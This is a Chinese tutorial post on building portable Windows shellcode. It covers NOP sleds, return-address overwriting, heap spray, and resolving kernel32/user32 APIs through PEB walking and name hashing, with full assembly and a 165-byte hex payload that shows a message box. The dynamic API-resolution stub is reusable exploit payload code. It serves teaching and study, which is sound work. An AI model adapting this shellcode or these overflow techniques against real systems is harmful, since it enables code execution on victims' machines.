您的位置:首页 > 运维架构 > Shell

OD: Universal Shellcode

2014-04-18 22:35 211 查看
本节讲如果开发通用的 Shellcode。

Shellcode 的组织

shellcode 的组织对成功地 exploit 很重要。

送入缓冲区的数据包括:

1. 填充物。一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲。

2. 淹没返回地址的数据。可能是跳转指令地址、shellcode 起始地址,或者近似的 shellcode 地址。

3. shellcode。


前些篇目中用过两种 shellcode 的组织方式,分别是将短小的 shellcode 直接放在 buffer 中和将 shellcode 放在返回地址之后。

第三种方式是,用跳转指令来定位 shellcode 时,将 shellcode 布置在返回地址之前,并在返回地址之后多淹没一些空间用作 shellcode head 以引导 eip 着陆。

将 shellcode 放在 buffer 中:

好处:合理利用缓冲区,使攻击串的体积最小(对于远程攻击,有时所有数据必须放在一个网络数据包内);不破坏前栈帧数据。

坏处:shellcode 可能被压栈的数据破坏。


将 shellcode 放在返回地址之后:

好处:不用担心 shellcode 被压栈的数据破坏。

坏处:破坏前栈帧结构。


提高栈顶保护 shellcode

将 shellcode 放在 buffer 中最大的坏处是:函数返回时,当前帧栈被弹出,虽然物理上 shellcode 暂时没被破坏,但逻辑上,存放 shellcode 的那个栈帧已经废弃了。如果 shellcode 中没有向栈中写数据,那情况还好;但如果 shellcode 用了 push 之类的指令在栈中暂存数据,压栈的数据可能会破坏 shellcode 本身。若 buffer 比较大,shellcode 中的 push 操作可能保会占用离栈顶较近的栈区,不会危及到 shellcode,但如果 buffer 比较小,情况就不乐观了。

为了保护 shellcode 使其具有较好的通用性,通常在 shellcode 一开始就抬高栈顶,使 shellcode 藏在栈帧中,不被 push 等操作破坏。

跳转指令

除了前些篇目中使用的 jmp esp,也可以使用其他跳转指令。

实际漏洞利用时,要好好观察寄存器的值,除了 esp 之外,eax、ebx、esi 等寄存器也会指向栈顶附近,跳转指令的选用要灵活些,move eax, esp 和 jmp eax 等指令序列也能完成进入栈帧的功能。

加大靶心

个别苛刻的漏洞不允许使用跳转指令,这时如果 buffer 足够大,可以在 shellcode 之前放置些 NOP,定位 shellcode 时,只要能跳进这些 NOP 中就能命中。这些用途着陆缓冲的 NOP 被形象地称作大靶心。

返回地址移位

在一些情况下,返回地址距离 buffer 的距离不是确定的(但能保证返回地址是双字 DWORD),这时也可以用加大靶心的思想——子弹扫射:用一片连续的跳转指令的地址(子弹)来覆盖返回地址,只要有一个子弹成功覆盖了返回地址就成功了。

返回地址错位

这是一种更加棘手的情况——例如由 strcat() 引起的漏洞:

strcat("程序安装目录", 输入的字符串)


在不同的系统环境下,输入的字符串可能不一样(可能是 app.exe 或者 app_.exe …),这里返回地址可能按字节错位而不是按双字(DWORD)错位,如果调试好的返回地址是 0xaabbccdd,则在其他机器上可能因为输入的字符串差奇数个字节,使返回地址变成 0xbbccddaa、0xccddaabb 或者 0xddaabbcc,溢出的成功率只有 25%,溢出的通用性大大降低!

Heap Spray

解决上述问题的一个方法是:使用按字节相同的双字跳转地址,甚至可以使用堆中的跳转地址并将 shellcode 用堆扩展的方法放置在相应区域。这种 heap spray 技术在 IE 漏洞中经常用到。

定位 Shellcode 原理

之前用到的 user32.dll 中的 MessageBoxA() 和 kernel32.dll 中的 ExitProcess() 的入口地址会因不同的 OS、不同的 patch 而不同,导致用静态地址调用 API 会使得 shellcode 的通用性受到很大的限制,实际使用中必须动态获得 API 地址。

Windows 的 API 是通过动态连接库中的导出函数来实现的:内存操作函数在 kernel32.dll 中实现,图形界面相关函数在 user32.dll 中实现……

Windows 下的 shellcode 最常用的动态寻址 API 的方法是:从进程控制块中找到动态连接库的导出表,搜索出所需 API 地址并调用。

所有 Win32 程序都会加载 kernel32.dll 和 ntdll.dll,在 Win32 中寻址 kernel32.dll 的 API 的步骤如下:

1. 通过 段选择字 FS 在内存中找到当前的线环境制快 TEB(Thread Environment Block)。
2. 线程环境块偏移 0x30 的地方存放着指向 进程环境块 PEB(Process Environment Block)的指针。
3. 进程环境块中偏移 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,PEB_LDR_DATA 存放着已经装载的 DLL 信息。
4. PEB_LDR_DATA 偏移 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5. InInitializationOrderModuleList 存放着 PE 初始化时的模块信息,第一个链表结点是 ntdll.dll,第二个是 kernel32.dll。
6. 找到 kernel32.dll 后,偏移 0x08 的地方就是 kernel32.dll 在内存中的加载基址。
7. kernel32.dll 加载基址偏移 0x3C 的地方就是其 PE 头。
8. PE 头偏移 0x78 的地方存放指向函数导出表的指针。

函数导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。
函数导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
函数的 RVA 地址和名字按照顺序放在上述两个列表中,可以根据名称的索引值查找对应的 RVA。
获得 RVA 后,加上前面找到的加载基址,就能找到 API 函数的入口虚拟地址。


找出需要的 API 函数入口地址的过程如下:

#include <stdio.h>

int main()
{
LoadLibrary(_T("user32.dll"));
_asm{
nop
nop
nop
nop
nop

CLD                    ; clear flag DF
;store hash
push 0x1e380a6a        ;hash of MessageBoxA
push 0x4fd18963        ;hash of ExitProcess
push 0x0c917432        ;hash of LoadLibraryA
mov esi,esp            ; esi = addr of first function hash
lea edi,[esi-0xc]      ; edi = addr to start saving function address

; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx

; push a pointer to "user32" onto stack
mov bx, 0x3233         ; rest of ebx is null
push ebx
push 0x72657375
push esp

xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30]      ; ebx = PEB
mov ecx, [ebx + 0x0c]         ; ecx = PEB_LDR_DATA
mov ecx, [ecx + 0x0c]         ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
mov ecx, [ecx]                ; ecx = InLoadOrder[1] (ntdll)
mov ecx, [ecx]                ; ecx = InLoadOrder[2] (kernel32)
mov ebp, [ecx + 0x18]         ; ebp = [InLoadOrder[2] + 0x18] = kernel32 DllBase

find_lib_functions:
lodsd                     ; load next hash into al and increment esi
cmp eax, 0x1e380a6a       ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp             ; save current hash
call [edi - 0x8]          ; LoadLibraryA
xchg eax, ebp             ; restore current hash, and update ebp
; with base address of user32.dll

find_functions:
pushad                       ; preserve registers
mov eax, [ebp + 0x3c]        ; eax = start of PE header
mov ecx, [ebp + eax + 0x78]  ; ecx = relative offset of export table
add ecx, ebp                 ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20]        ; ebx = relative offset of names table
add ebx, ebp                 ; ebx = absolute addr of names table
xor edi, edi                 ; edi will count through the functions

next_function_loop:
inc edi                      ; increment function counter
mov esi, [ebx + edi * 4]     ; esi = relative offset of current function name
add esi, ebp                 ; esi = absolute addr of current function name
cdq                          ; dl will hold hash (we know eax is small)

hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop

compare_hash:
cmp edx, [esp + 0x1c]         ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop

mov ebx, [ecx + 0x24]         ; ebx = relative offset of ordinals table
add ebx, ebp                  ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi]       ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c]         ; ebx = relative offset of address table
add ebx, ebp                  ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi]      ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp                 ; move func addr into eax
pop edi                       ; edi is last onto stack in pushad
stosd                         ; write function addr to [edi] and increment edi
push edi
popad                    ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions

function_call:
xor ebx,ebx
push ebx               // cut string
push 0x78632024        // push "$ cx"
mov eax,esp            //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;    //call MessageboxA
push ebx
call [edi - 0x08] ;    // call ExitProcess
nop
nop
nop
nop
}
return 0;
}


View Code
shellcode 如下:

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8"  // 165 bytes msgbox shellcode for xp/win7
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: